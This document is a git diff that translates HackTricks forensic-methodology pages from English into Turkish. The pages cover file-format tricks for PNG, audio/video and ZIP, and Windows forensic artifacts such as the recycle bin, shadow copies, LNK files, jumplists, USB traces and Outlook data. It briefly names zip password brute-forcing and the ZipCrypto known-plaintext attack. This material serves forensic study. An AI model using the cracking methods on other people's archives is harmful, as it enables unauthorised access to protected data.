kopyası](http://www.itsecure.hu/library/file/Biztons%C3%A1gi%20%C3%BAtmutat%C3%B3k/Alkalmaz%C3%A1sok/Hidden%20Data%20and%20Metadata%20in%20Adobe%20PDF%20Files.pdf) ve Ange Albertini tarafından hazırlanan [PDF formatı hileleri](https://github.com/corkami/docs/blob/master/PDF/PDF.md) koleksiyonu, konu hakkında daha fazla okuma sağlayabilir. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md index 6108df028..f42ed0402 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/png-tricks.md @@ -1,9 +1,9 @@ {{#include ../../../banners/hacktricks-training.md}} -**PNG files** are highly regarded in **CTF challenges** for their **lossless compression**, making them ideal for embedding hidden data. Tools like **Wireshark** enable the analysis of PNG files by dissecting their data within network packets, revealing embedded information or anomalies. +**PNG dosyaları**, **kaybı olmayan sıkıştırma** özellikleri nedeniyle **CTF zorlukları** için yüksek bir itibara sahiptir ve gizli verilerin gömülmesi için idealdir. **Wireshark** gibi araçlar, ağ paketleri içindeki verileri parçalayarak PNG dosyalarının analizini yaparak gömülü bilgileri veya anormallikleri ortaya çıkarır. -For checking PNG file integrity and repairing corruption, **pngcheck** is a crucial tool, offering command-line functionality to validate and diagnose PNG files ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). When files are beyond simple fixes, online services like [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) provide a web-based solution for **repairing corrupted PNGs**, aiding in the recovery of crucial data for CTF participants. +PNG dosyası bütünlüğünü kontrol etmek ve bozulmaları onarmak için **pngcheck** önemli bir araçtır; PNG dosyalarını doğrulamak ve teşhis etmek için komut satırı işlevselliği sunar ([pngcheck](http://libpng.org/pub/png/apps/pngcheck.html)). Dosyalar basit onarımların ötesindeyse, [OfficeRecovery's PixRecovery](https://online.officerecovery.com/pixrecovery/) gibi çevrimiçi hizmetler, **bozulmuş PNG'leri onarmak** için web tabanlı bir çözüm sunarak CTF katılımcıları için kritik verilerin kurtarılmasına yardımcı olur. -These strategies underscore the importance of a comprehensive approach in CTFs, utilizing a blend of analytical tools and repair techniques to uncover and recover hidden or lost data. +Bu stratejiler, CTF'lerde kapsamlı bir yaklaşımın önemini vurgular; gizli veya kaybolmuş verileri ortaya çıkarmak ve kurtarmak için analitik araçlar ve onarım tekniklerinin bir karışımını kullanır. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md index 3d2103987..a471d1ce4 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/video-and-audio-file-analysis.md @@ -1,14 +1,14 @@ {{#include ../../../banners/hacktricks-training.md}} -**Audio and video file manipulation** is a staple in **CTF forensics challenges**, leveraging **steganography** and metadata analysis to hide or reveal secret messages. Tools such as **[mediainfo](https://mediaarea.net/en/MediaInfo)** and **`exiftool`** are essential for inspecting file metadata and identifying content types. +**Ses ve video dosyası manipülasyonu**, **CTF adli bilişim zorlukları** için temel bir unsurdur ve gizli mesajları saklamak veya ortaya çıkarmak için **steganografi** ve meta veri analizinden yararlanır. **[mediainfo](https://mediaarea.net/en/MediaInfo)** ve **`exiftool`** gibi araçlar, dosya meta verilerini incelemek ve içerik türlerini tanımlamak için gereklidir. -For audio challenges, **[Audacity](http://www.audacityteam.org/)** stands out as a premier tool for viewing waveforms and analyzing spectrograms, essential for uncovering text encoded in audio. **[Sonic Visualiser](http://www.sonicvisualiser.org/)** is highly recommended for detailed spectrogram analysis. **Audacity** allows for audio manipulation like slowing down or reversing tracks to detect hidden messages. **[Sox](http://sox.sourceforge.net/)**, a command-line utility, excels in converting and editing audio files. +Ses zorlukları için, **[Audacity](http://www.audacityteam.org/)**, dalga formlarını görüntülemek ve ses spektrumlarını analiz etmek için öne çıkan bir araçtır; bu, ses içinde kodlanmış metni ortaya çıkarmak için gereklidir. **[Sonic Visualiser](http://www.sonicvisualiser.org/)**, detaylı spektrum analizi için şiddetle tavsiye edilir. **Audacity**, gizli mesajları tespit etmek için parçaları yavaşlatma veya tersine çevirme gibi ses manipülasyonlarına olanak tanır. **[Sox](http://sox.sourceforge.net/)**, ses dosyalarını dönüştürme ve düzenleme konusunda uzmanlaşmış bir komut satırı aracıdır. -**Least Significant Bits (LSB)** manipulation is a common technique in audio and video steganography, exploiting the fixed-size chunks of media files to embed data discreetly. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)** is useful for decoding messages hidden as **DTMF tones** or **Morse code**. +**En Az Anlamlı Bitler (LSB)** manipülasyonu, ses ve video steganografisinde yaygın bir tekniktir ve medya dosyalarının sabit boyutlu parçalarını kullanarak verileri gizlice yerleştirir. **[Multimon-ng](http://tools.kali.org/wireless-attacks/multimon-ng)**, **DTMF tonları** veya **Morse kodu** olarak gizlenmiş mesajları çözmek için faydalıdır. -Video challenges often involve container formats that bundle audio and video streams. **[FFmpeg](http://ffmpeg.org/)** is the go-to for analyzing and manipulating these formats, capable of de-multiplexing and playing back content. For developers, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)** integrates FFmpeg's capabilities into Python for advanced scriptable interactions. +Video zorlukları genellikle ses ve video akışlarını bir araya getiren konteyner formatlarını içerir. **[FFmpeg](http://ffmpeg.org/)**, bu formatları analiz etmek ve manipüle etmek için başvurulan araçtır; içeriği de-multiplexing yapabilir ve oynatabilir. Geliştiriciler için, **[ffmpy](http://ffmpy.readthedocs.io/en/latest/examples.html)**, FFmpeg'in yeteneklerini Python'a entegre ederek gelişmiş scriptable etkileşimler sağlar. -This array of tools underscores the versatility required in CTF challenges, where participants must employ a broad spectrum of analysis and manipulation techniques to uncover hidden data within audio and video files. +Bu araçlar dizisi, CTF zorluklarında gereken çok yönlülüğü vurgular; katılımcılar, ses ve video dosyaları içinde gizli verileri ortaya çıkarmak için geniş bir analiz ve manipülasyon teknikleri yelpazesini kullanmalıdır. ## References diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md index d4e17eb0d..e3e12ea6e 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/specific-software-file-type-tricks/zips-tricks.md @@ -1,20 +1,20 @@ -# ZIPs tricks +# ZIP'ler için hileler {{#include ../../../banners/hacktricks-training.md}} -**Command-line tools** for managing **zip files** are essential for diagnosing, repairing, and cracking zip files. Here are some key utilities: +**Komut satırı araçları**, **zip dosyalarını** yönetmek için, zip dosyalarını teşhis etmek, onarmak ve kırmak için gereklidir. İşte bazı anahtar yardımcı programlar: -- **`unzip`**: Reveals why a zip file may not decompress. -- **`zipdetails -v`**: Offers detailed analysis of zip file format fields. -- **`zipinfo`**: Lists contents of a zip file without extracting them. -- **`zip -F input.zip --out output.zip`** and **`zip -FF input.zip --out output.zip`**: Try to repair corrupted zip files. -- **[fcrackzip](https://github.com/hyc/fcrackzip)**: A tool for brute-force cracking of zip passwords, effective for passwords up to around 7 characters. +- **`unzip`**: Bir zip dosyasının neden açılmadığını gösterir. +- **`zipdetails -v`**: Zip dosyası format alanlarının detaylı analizini sunar. +- **`zipinfo`**: Bir zip dosyasının içeriğini çıkarmadan listeler. +- **`zip -F input.zip --out output.zip`** ve **`zip -FF input.zip --out output.zip`**: Bozulmuş zip dosyalarını onarmaya çalışır. +- **[fcrackzip](https://github.com/hyc/fcrackzip)**: Zip şifrelerini brute-force ile kırmak için bir araç, yaklaşık 7 karaktere kadar olan şifreler için etkilidir. -The [Zip file format specification](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT) provides comprehensive details on the structure and standards of zip files. +[Zip dosya formatı spesifikasyonu](https://pkware.cachefly.net/webdocs/casestudies/APPNOTE.TXT), zip dosyalarının yapısı ve standartları hakkında kapsamlı bilgiler sunar. -It's crucial to note that password-protected zip files **do not encrypt filenames or file sizes** within, a security flaw not shared with RAR or 7z files which encrypt this information. Furthermore, zip files encrypted with the older ZipCrypto method are vulnerable to a **plaintext attack** if an unencrypted copy of a compressed file is available. This attack leverages the known content to crack the zip's password, a vulnerability detailed in [HackThis's article](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) and further explained in [this academic paper](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf). However, zip files secured with **AES-256** encryption are immune to this plaintext attack, showcasing the importance of choosing secure encryption methods for sensitive data. +Şifre korumalı zip dosyalarının **içindeki dosya adlarını veya dosya boyutlarını şifrelemediğini** belirtmek önemlidir; bu, RAR veya 7z dosyalarıyla paylaşılmayan bir güvenlik açığıdır. Ayrıca, daha eski ZipCrypto yöntemiyle şifrelenmiş zip dosyaları, sıkıştırılmış bir dosyanın şifrelenmemiş bir kopyası mevcutsa **düz metin saldırısına** karşı savunmasızdır. Bu saldırı, zip'in şifresini kırmak için bilinen içeriği kullanır; bu zayıflık [HackThis'in makalesinde](https://www.hackthis.co.uk/articles/known-plaintext-attack-cracking-zip-files) ve [bu akademik çalışmada](https://www.cs.auckland.ac.nz/~mike/zipattacks.pdf) detaylandırılmıştır. Ancak, **AES-256** şifrelemesiyle güvence altına alınmış zip dosyaları bu düz metin saldırısına karşı bağışıklık gösterir, bu da hassas veriler için güvenli şifreleme yöntemlerinin seçilmesinin önemini vurgular. -## References +## Referanslar - [https://michael-myers.github.io/blog/categories/ctf/](https://michael-myers.github.io/blog/categories/ctf/) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md index bf7543e9b..88c3d6846 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/windows-forensics/README.md @@ -4,501 +4,490 @@ {{#include ../../../banners/hacktricks-training.md}} -## Generic Windows Artifacts +## Genel Windows Artifaktları -### Windows 10 Notifications +### Windows 10 Bildirimleri -In the path `\Users\\AppData\Local\Microsoft\Windows\Notifications` you can find the database `appdb.dat` (before Windows anniversary) or `wpndatabase.db` (after Windows Anniversary). +Yolda `\Users\\AppData\Local\Microsoft\Windows\Notifications` veritabanı `appdb.dat` (Windows yıldönümünden önce) veya `wpndatabase.db` (Windows Yıldönümünden sonra) bulunabilir. -Inside this SQLite database, you can find the `Notification` table with all the notifications (in XML format) that may contain interesting data. +Bu SQLite veritabanının içinde, ilginç veriler içerebilecek tüm bildirimlerin (XML formatında) bulunduğu `Notification` tablosunu bulabilirsiniz. -### Timeline +### Zaman Çizelgesi -Timeline is a Windows characteristic that provides **chronological history** of web pages visited, edited documents, and executed applications. +Zaman çizelgesi, ziyaret edilen web sayfalarının, düzenlenen belgelerin ve çalıştırılan uygulamaların **kronolojik geçmişini** sağlayan bir Windows özelliğidir. -The database resides in the path `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db`. This database can be opened with an SQLite tool or with the tool [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) **which generates 2 files that can be opened with the tool** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md). +Veritabanı, `\Users\\AppData\Local\ConnectedDevicesPlatform\\ActivitiesCache.db` yolunda bulunur. Bu veritabanı bir SQLite aracıyla veya [**WxTCmd**](https://github.com/EricZimmerman/WxTCmd) aracıyla açılabilir **ve bu araç 2 dosya oluşturur, bu dosyalar** [**TimeLine Explorer**](https://ericzimmerman.github.io/#!index.md) aracıyla açılabilir. -### ADS (Alternate Data Streams) +### ADS (Alternatif Veri Akışları) -Files downloaded may contain the **ADS Zone.Identifier** indicating **how** it was **downloaded** from the intranet, internet, etc. Some software (like browsers) usually put even **more** **information** like the **URL** from where the file was downloaded. +İndirilen dosyalar, intranet, internet vb. üzerinden **nasıl** **indirildiğini** gösteren **ADS Zone.Identifier** içerebilir. Bazı yazılımlar (tarayıcılar gibi) genellikle dosyanın indirildiği **URL** gibi **daha fazla** **bilgi** de ekler. -## **File Backups** +## **Dosya Yedekleri** -### Recycle Bin +### Geri Dönüşüm Kutusu -In Vista/Win7/Win8/Win10 the **Recycle Bin** can be found in the folder **`$Recycle.bin`** in the root of the drive (`C:\$Recycle.bin`).\ -When a file is deleted in this folder 2 specific files are created: +Vista/Win7/Win8/Win10'da **Geri Dönüşüm Kutusu**, sürücünün kökünde **`$Recycle.bin`** klasöründe bulunabilir (`C:\$Recycle.bin`).\ +Bu klasörde bir dosya silindiğinde 2 özel dosya oluşturulur: -- `$I{id}`: File information (date of when it was deleted} -- `$R{id}`: Content of the file +- `$I{id}`: Dosya bilgileri (silindiği tarih) +- `$R{id}`: Dosyanın içeriği ![](<../../../images/image (1029).png>) -Having these files you can use the tool [**Rifiuti**](https://github.com/abelcheung/rifiuti2) to get the original address of the deleted files and the date it was deleted (use `rifiuti-vista.exe` for Vista – Win10). - +Bu dosyalara sahip olduğunuzda, silinen dosyaların orijinal adresini ve silindiği tarihi almak için [**Rifiuti**](https://github.com/abelcheung/rifiuti2) aracını kullanabilirsiniz (Vista – Win10 için `rifiuti-vista.exe` kullanın). ``` .\rifiuti-vista.exe C:\Users\student\Desktop\Recycle ``` - ![](<../../../images/image (495) (1) (1) (1).png>) -### Volume Shadow Copies +### Hacim Gölgesi Kopyaları -Shadow Copy is a technology included in Microsoft Windows that can create **backup copies** or snapshots of computer files or volumes, even when they are in use. +Gölge Kopyası, Microsoft Windows'ta yer alan ve bilgisayar dosyalarının veya hacimlerinin **yedek kopyalarını** veya anlık görüntülerini oluşturabilen bir teknolojidir; bu işlemi dosyalar kullanılırken bile gerçekleştirebilir. -These backups are usually located in the `\System Volume Information` from the root of the file system and the name is composed of **UIDs** shown in the following image: +Bu yedekler genellikle dosya sisteminin kökünden `\System Volume Information` içinde bulunur ve adı aşağıdaki resimde gösterilen **UID'lerden** oluşur: ![](<../../../images/image (94).png>) -Mounting the forensics image with the **ArsenalImageMounter**, the tool [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) can be used to inspect a shadow copy and even **extract the files** from the shadow copy backups. +**ArsenalImageMounter** ile adli görüntüyü monte ederek, [**ShadowCopyView**](https://www.nirsoft.net/utils/shadow_copy_view.html) aracı, bir gölge kopyasını incelemek ve hatta gölge kopyası yedeklerinden **dosyaları çıkarmak** için kullanılabilir. ![](<../../../images/image (576).png>) -The registry entry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore` contains the files and keys **to not backup**: +Kayıt defteri girişi `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\BackupRestore`, **yedeklenmeyecek** dosyaları ve anahtarları içerir: ![](<../../../images/image (254).png>) -The registry `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` also contains configuration information about the `Volume Shadow Copies`. +Kayıt defteri `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\VSS` ayrıca `Hacim Gölgesi Kopyaları` hakkında yapılandırma bilgilerini içerir. -### Office AutoSaved Files +### Ofis Otomatik Kaydedilen Dosyalar -You can find the office autosaved files in: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` +Ofis otomatik kaydedilen dosyalarını şurada bulabilirsiniz: `C:\Usuarios\\AppData\Roaming\Microsoft{Excel|Word|Powerpoint}\` -## Shell Items +## Shell Öğeleri -A shell item is an item that contains information about how to access another file. +Bir shell öğesi, başka bir dosyaya nasıl erişileceği hakkında bilgi içeren bir öğedir. -### Recent Documents (LNK) +### Son Belgeler (LNK) -Windows **automatically** **creates** these **shortcuts** when the user **open, uses or creates a file** in: +Windows, kullanıcı bir dosyayı **açtığında, kullandığında veya oluşturduğunda** bu **kısayolları** **otomatik olarak** **oluşturur**: - Win7-Win10: `C:\Users\\AppData\Roaming\Microsoft\Windows\Recent\` -- Office: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` +- Ofis: `C:\Users\\AppData\Roaming\Microsoft\Office\Recent\` -When a folder is created, a link to the folder, to the parent folder, and the grandparent folder is also created. +Bir klasör oluşturulduğunda, klasöre, üst klasöre ve büyük üst klasöre bir bağlantı da oluşturulur. -These automatically created link files **contain information about the origin** like if it's a **file** **or** a **folder**, **MAC** **times** of that file, **volume information** of where is the file stored and **folder of the target file**. This information can be useful to recover those files in case they were removed. +Bu otomatik olarak oluşturulan bağlantı dosyaları, **bir dosya** **mi** yoksa **bir klasör** **mü** olduğu gibi, dosyanın **MAC** **zamanları**, dosyanın saklandığı yerin **hacim bilgileri** ve **hedef dosyanın klasörü** gibi **kaynağa dair bilgileri** **içerir**. Bu bilgiler, dosyalar silinirse kurtarmak için faydalı olabilir. -Also, the **date created of the link** file is the first **time** the original file was **first** **used** and the **date** **modified** of the link file is the **last** **time** the origin file was used. +Ayrıca, bağlantı dosyasının **oluşturulma tarihi**, orijinal dosyanın **ilk** **kullanıldığı** **zamandır** ve bağlantı dosyasının **değiştirilme tarihi**, orijinal dosyanın kullanıldığı **son** **zamandır**. -To inspect these files you can use [**LinkParser**](http://4discovery.com/our-tools/). +Bu dosyaları incelemek için [**LinkParser**](http://4discovery.com/our-tools/) aracını kullanabilirsiniz. -In this tools you will find **2 sets** of timestamps: +Bu araçta **2 set** zaman damgası bulacaksınız: -- **First Set:** - 1. FileModifiedDate - 2. FileAccessDate - 3. FileCreationDate -- **Second Set:** - 1. LinkModifiedDate - 2. LinkAccessDate - 3. LinkCreationDate. +- **İlk Set:** +1. FileModifiedDate +2. FileAccessDate +3. FileCreationDate +- **İkinci Set:** +1. LinkModifiedDate +2. LinkAccessDate +3. LinkCreationDate. -The first set of timestamp references the **timestamps of the file itself**. The second set references the **timestamps of the linked file**. - -You can get the same information running the Windows CLI tool: [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) +İlk zaman damgası seti, **dosyanın kendisine ait zaman damgalarını** referans alır. İkinci set, **bağlantılı dosyanın zaman damgalarını** referans alır. +Aynı bilgiyi Windows CLI aracı olan [**LECmd.exe**](https://github.com/EricZimmerman/LECmd) ile de alabilirsiniz. ``` LECmd.exe -d C:\Users\student\Desktop\LNKs --csv C:\Users\student\Desktop\LNKs ``` - -In this case, the information is going to be saved inside a CSV file. +Bu durumda, bilgiler bir CSV dosyası içinde kaydedilecektir. ### Jumplists -These are the recent files that are indicated per application. It's the list of **recent files used by an application** that you can access on each application. They can be created **automatically or be custom**. +Bunlar, her uygulama için belirtilen son dosyalardır. Her uygulamada erişebileceğiniz **bir uygulama tarafından kullanılan son dosyaların listesi**dir. **Otomatik olarak veya özel olarak** oluşturulabilirler. -The **jumplists** created automatically are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\`. The jumplists are named following the format `{id}.autmaticDestinations-ms` where the initial ID is the ID of the application. +Otomatik olarak oluşturulan **jumplists**, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\` içinde saklanır. Jumplists, `{id}.autmaticDestinations-ms` formatına göre adlandırılır; burada başlangıç ID'si uygulamanın ID'sidir. -The custom jumplists are stored in `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` and they are created by the application usually because something **important** has happened with the file (maybe marked as favorite) +Özel jumplists, `C:\Users\{username}\AppData\Roaming\Microsoft\Windows\Recent\CustomDestination\` içinde saklanır ve genellikle dosya ile ilgili **önemli** bir şey olduğunda uygulama tarafından oluşturulurlar (belki favori olarak işaretlenmiştir). -The **created time** of any jumplist indicates the **the first time the file was accessed** and the **modified time the last time**. +Herhangi bir jumplist'in **oluşturulma zamanı**, dosyanın **ilk kez erişildiği zamanı** ve **değiştirilme zamanı** son erişim zamanını gösterir. -You can inspect the jumplists using [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md). +Jumplists'i [**JumplistExplorer**](https://ericzimmerman.github.io/#!index.md) kullanarak inceleyebilirsiniz. ![](<../../../images/image (168).png>) -(_Note that the timestamps provided by JumplistExplorer are related to the jumplist file itself_) +(_JumplistExplorer tarafından sağlanan zaman damgalarının jumplist dosyasının kendisiyle ilgili olduğunu unutmayın_) ### Shellbags -[**Follow this link to learn what are the shellbags.**](interesting-windows-registry-keys.md#shellbags) +[**Shellbags nedir öğrenmek için bu bağlantıyı takip edin.**](interesting-windows-registry-keys.md#shellbags) -## Use of Windows USBs +## Windows USB'lerinin Kullanımı -It's possible to identify that a USB device was used thanks to the creation of: +Bir USB cihazının kullanıldığını belirlemek mümkündür, bunun için: -- Windows Recent Folder -- Microsoft Office Recent Folder +- Windows Recent Klasörü +- Microsoft Office Recent Klasörü - Jumplists -Note that some LNK file instead of pointing to the original path, points to the WPDNSE folder: +Bazı LNK dosyalarının orijinal yolu işaret etmek yerine WPDNSE klasörüne işaret ettiğini unutmayın: ![](<../../../images/image (218).png>) -The files in the folder WPDNSE are a copy of the original ones, then won't survive a restart of the PC and the GUID is taken from a shellbag. +WPDNSE klasöründeki dosyalar, orijinal dosyaların bir kopyasıdır, bu nedenle PC'nin yeniden başlatılmasında hayatta kalmazlar ve GUID bir shellbag'den alınır. -### Registry Information +### Kayıt Bilgileri -[Check this page to learn](interesting-windows-registry-keys.md#usb-information) which registry keys contain interesting information about USB connected devices. +[USB bağlı cihazlar hakkında ilginç bilgileri hangi kayıt anahtarlarının içerdiğini öğrenmek için bu sayfayı kontrol edin](interesting-windows-registry-keys.md#usb-information). ### setupapi -Check the file `C:\Windows\inf\setupapi.dev.log` to get the timestamps about when the USB connection was produced (search for `Section start`). +USB bağlantısının ne zaman gerçekleştiğine dair zaman damgalarını almak için `C:\Windows\inf\setupapi.dev.log` dosyasını kontrol edin ( `Section start` için arama yapın). -![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) +![](<../../../images/image (477) (2) (2) (2) (2) (2) (2) (2) (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (10) (14) (2).png>) -### USB Detective +### USB Dedektifi -[**USBDetective**](https://usbdetective.com) can be used to obtain information about the USB devices that have been connected to an image. +[**USBDetective**](https://usbdetective.com) bir görüntüye bağlı USB cihazları hakkında bilgi almak için kullanılabilir. ![](<../../../images/image (452).png>) -### Plug and Play Cleanup +### Tak ve Çalıştır Temizleme -The scheduled task known as 'Plug and Play Cleanup' is primarily designed for the removal of outdated driver versions. Contrary to its specified purpose of retaining the latest driver package version, online sources suggest it also targets drivers that have been inactive for 30 days. Consequently, drivers for removable devices not connected in the past 30 days may be subject to deletion. +'Tak ve Çalıştır Temizleme' olarak bilinen planlı görev, esasen eski sürücü sürümlerinin kaldırılması için tasarlanmıştır. En son sürücü paket sürümünü koruma amacıyla belirtilmiş olmasına rağmen, çevrimiçi kaynaklar, 30 gündür etkin olmayan sürücüleri de hedef aldığını önermektedir. Bu nedenle, son 30 günde bağlanmamış çıkarılabilir cihazların sürücüleri silinme riski taşımaktadır. -The task is located at the following path: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. +Görev aşağıdaki yolda bulunmaktadır: `C:\Windows\System32\Tasks\Microsoft\Windows\Plug and Play\Plug and Play Cleanup`. -A screenshot depicting the task's content is provided: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) +Görevin içeriğini gösteren bir ekran görüntüsü sağlanmıştır: ![](https://2.bp.blogspot.com/-wqYubtuR_W8/W19bV5S9XyI/AAAAAAAANhU/OHsBDEvjqmg9ayzdNwJ4y2DKZnhCdwSMgCLcBGAs/s1600/xml.png) -**Key Components and Settings of the Task:** +**Görevin Ana Bileşenleri ve Ayarları:** -- **pnpclean.dll**: This DLL is responsible for the actual cleanup process. -- **UseUnifiedSchedulingEngine**: Set to `TRUE`, indicating the use of the generic task scheduling engine. +- **pnpclean.dll**: Bu DLL, gerçek temizleme işlemini gerçekleştirir. +- **UseUnifiedSchedulingEngine**: `TRUE` olarak ayarlanmıştır, genel görev zamanlama motorunun kullanıldığını gösterir. - **MaintenanceSettings**: - - **Period ('P1M')**: Directs the Task Scheduler to initiate the cleanup task monthly during regular Automatic maintenance. - - **Deadline ('P2M')**: Instructs the Task Scheduler, if the task fails for two consecutive months, to execute the task during emergency Automatic maintenance. +- **Period ('P1M')**: Görev Zamanlayıcı'nın, düzenli Otomatik bakım sırasında temizleme görevini aylık olarak başlatmasını yönlendirir. +- **Deadline ('P2M')**: Görev Zamanlayıcı'ya, görev iki ardışık ay boyunca başarısız olursa, acil Otomatik bakım sırasında görevi yürütmesini talimat verir. -This configuration ensures regular maintenance and cleanup of drivers, with provisions for reattempting the task in case of consecutive failures. +Bu yapılandırma, sürücülerin düzenli bakımını ve temizliğini sağlar ve ardışık hatalar durumunda görevi yeniden denemek için önlemler içerir. -**For more information check:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) +**Daha fazla bilgi için kontrol edin:** [**https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html**](https://blog.1234n6.com/2018/07/windows-plug-and-play-cleanup.html) -## Emails +## E-postalar -Emails contain **2 interesting parts: The headers and the content** of the email. In the **headers** you can find information like: +E-postalar **2 ilginç bölüm içerir: E-posta başlıkları ve içeriği**. **Başlıklarda** aşağıdaki bilgileri bulabilirsiniz: -- **Who** sent the emails (email address, IP, mail servers that have redirected the email) -- **When** was the email sent +- **Kim** e-postaları gönderdi (e-posta adresi, IP, e-postayı yönlendiren mail sunucuları) +- **Ne zaman** e-posta gönderildi -Also, inside the `References` and `In-Reply-To` headers you can find the ID of the messages: +Ayrıca, `References` ve `In-Reply-To` başlıkları içinde mesajların ID'sini bulabilirsiniz: ![](<../../../images/image (593).png>) -### Windows Mail App +### Windows Mail Uygulaması -This application saves emails in HTML or text. You can find the emails inside subfolders inside `\Users\\AppData\Local\Comms\Unistore\data\3\`. The emails are saved with the `.dat` extension. +Bu uygulama, e-postaları HTML veya metin olarak kaydeder. E-postaları `\Users\\AppData\Local\Comms\Unistore\data\3\` içindeki alt klasörlerde bulabilirsiniz. E-postalar `.dat` uzantısıyla kaydedilir. -The **metadata** of the emails and the **contacts** can be found inside the **EDB database**: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` +E-postaların **meta verileri** ve **kişiler** **EDB veritabanı** içinde bulunabilir: `\Users\\AppData\Local\Comms\UnistoreDB\store.vol` -**Change the extension** of the file from `.vol` to `.edb` and you can use the tool [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) to open it. Inside the `Message` table you can see the emails. +**Dosyanın uzantısını** `.vol`'dan `.edb`'ye değiştirin ve [ESEDatabaseView](https://www.nirsoft.net/utils/ese_database_view.html) aracını kullanarak açabilirsiniz. `Message` tablosunda e-postaları görebilirsiniz. ### Microsoft Outlook -When Exchange servers or Outlook clients are used there are going to be some MAPI headers: +Exchange sunucuları veya Outlook istemcileri kullanıldığında bazı MAPI başlıkları olacaktır: -- `Mapi-Client-Submit-Time`: Time of the system when the email was sent -- `Mapi-Conversation-Index`: Number of children messages of the thread and timestamp of each message of the thread -- `Mapi-Entry-ID`: Message identifier. -- `Mappi-Message-Flags` and `Pr_last_Verb-Executed`: Information about the MAPI client (message read? no read? responded? redirected? out of the office?) +- `Mapi-Client-Submit-Time`: E-postanın gönderildiği zaman sistemin zamanı +- `Mapi-Conversation-Index`: İlgili dizinin çocuk mesajlarının sayısı ve her mesajın zaman damgası +- `Mapi-Entry-ID`: Mesaj tanımlayıcısı. +- `Mappi-Message-Flags` ve `Pr_last_Verb-Executed`: MAPI istemcisi hakkında bilgi (mesaj okundu mu? okunmadı mı? yanıtlandı mı? yönlendirildi mi? ofis dışında mı?) -In the Microsoft Outlook client, all the sent/received messages, contacts data, and calendar data are stored in a PST file in: +Microsoft Outlook istemcisinde, gönderilen/alınan tüm mesajlar, kişi verileri ve takvim verileri, aşağıdaki yolda bir PST dosyasında saklanır: - `%USERPROFILE%\Local Settings\Application Data\Microsoft\Outlook` (WinXP) - `%USERPROFILE%\AppData\Local\Microsoft\Outlook` -The registry path `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook` indicates the file that is being used. +Kayıt yolu `HKEY_CURRENT_USER\Software\Microsoft\WindowsNT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook`, kullanılan dosyayı gösterir. -You can open the PST file using the tool [**Kernel PST Viewer**](https://www.nucleustechnologies.com/es/visor-de-pst.html). +PST dosyasını [**Kernel PST 